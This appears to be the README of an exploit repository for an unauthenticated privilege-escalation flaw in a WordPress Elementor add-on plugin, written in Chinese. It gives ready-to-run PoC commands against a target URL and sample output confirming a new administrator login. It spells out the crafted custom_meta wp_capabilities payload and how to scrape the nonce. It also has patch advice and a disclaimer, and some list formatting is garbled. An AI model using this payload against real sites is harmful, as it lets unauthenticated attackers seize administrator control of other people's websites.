研究作者: Atomic Edge 严重性: 高 | CVSS: 8.8 | 需要认证: 无
在 Easy Elements for Elementor – Addons & Website Templates WordPress 插件(版本 ≤ 1.4.5)中存在一个未认证权限提升漏洞。easyel_handle_register() 函数通过 wp_ajax_nopriv_eel_register AJAX 处理器暴露,将攻击者控制的 custom_meta POST 值直接传递给 update_user_meta(),且没有任何键白名单。这使未认证攻击者能够覆盖 wp_capabilities 元键并创建管理员级别账户。
在利用之前,目标站点必须满足以下条件:
设置 → 常规 → 任何人都可以注册)easy_elements_nonce 值。pip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
该漏洞利用分为两步:
步骤 1 — Nonce 收集
插件的登录/注册 Elementor 小部件在页面 HTML 中渲染一个隐藏的 easy_elements_nonce 字段。该 nonce 对任何未认证访客都是公开可访问的,并通过正则表达式从页面源码中提取。
步骤 2 — 恶意注册
向 /wp-admin/admin-ajax.php 发送 POST 请求,其中包含 action=eel_register。构造 custom_meta 数组以包含:
custom_meta[wp_capabilities][administrator] = 1
由于 easyel_handle_register() 将所有 custom_meta 键直接传递给 update_user_meta() 而没有白名单,注册后 wp_capabilities 用户元数据会被覆盖,从而使新用户获得完全的管理员权限。
开发人员必须对 easyel_handle_register() 应用以下修复:
custom_meta 键(例如 first_name、last_name、phone)wp_capabilities、wp_user_level、session_tokenswp_insert_user() 之后处理任何用户提供的元数据(如非必需)→ 请立即更新到 Easy Elements for Elementor 1.4.6 或更高版本。
本仓库仅用于授权的安全研究和教育目的。 未经系统所有者的明确书面许可,请勿将此工具用于任何系统。 未经授权的使用可能违反 CFAA(美国)、刑法第 342.1 条(加拿大)、欧盟 NIS2 指令及其他适用法律。 作者对因使用本代码而产生的滥用或损害不承担任何责任。
| 属性 | 详情 |
|---|
| 插件 | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| 受影响版本 | ≤ 1.4.5 |
| 修复版本 | 1.4.6+ |
| 攻击向量 | 网络 / 未认证 |
| CWE | CWE-269: 权限管理不当 |
| AJAX 动作 | eel_register (nopriv) |
| 标志 | 描述 | 默认值 |
|---|
-u, --url | 目标 WordPress URL | (必填) |
-U, --username | 新管理员账户的用户名 | atomic_admin |
-e, --email | 新管理员账户的电子邮箱 | [email protected] |
-p, --password | 新管理员账户的密码 | Atomic@Edge2026! |
-np, --nonce-page | 包含登录/注册小部件的页面路径 | / |
--no-verify | 禁用 SSL 证书验证 | false |
--skip-verify-login | 跳过利用后的 WP 管理员登录验证 | false |